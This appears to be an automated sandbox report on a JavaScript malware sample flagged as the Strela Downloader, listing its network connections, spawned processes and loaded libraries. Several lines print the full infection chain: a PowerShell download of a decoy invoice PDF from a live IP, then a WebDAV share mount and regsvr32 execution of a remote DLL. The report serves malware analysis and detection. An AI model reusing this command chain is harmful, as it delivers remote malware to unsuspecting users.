HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1688450169.0000014494D16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1748759674.000001CE8E4C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748759674.000001CE8E4B1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748759674.000001CE8E4E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1748759674.000001CE8E488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000008.00000002.2977427461.000002913FC10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1747608654.000002913FE18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1747608654.000002913FE18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1747608654.000002913FE18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1747608654.000002913FE4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1747608654.000002913FEC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1747608654.000002913FEC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1747608654.000002913FEC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7712, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1926422634111517010.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p1xvvbbc.xee.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1540,i,11543960135452201056,16608610189234339836,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1540,i,11543960135452201056,16608610189234339836,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
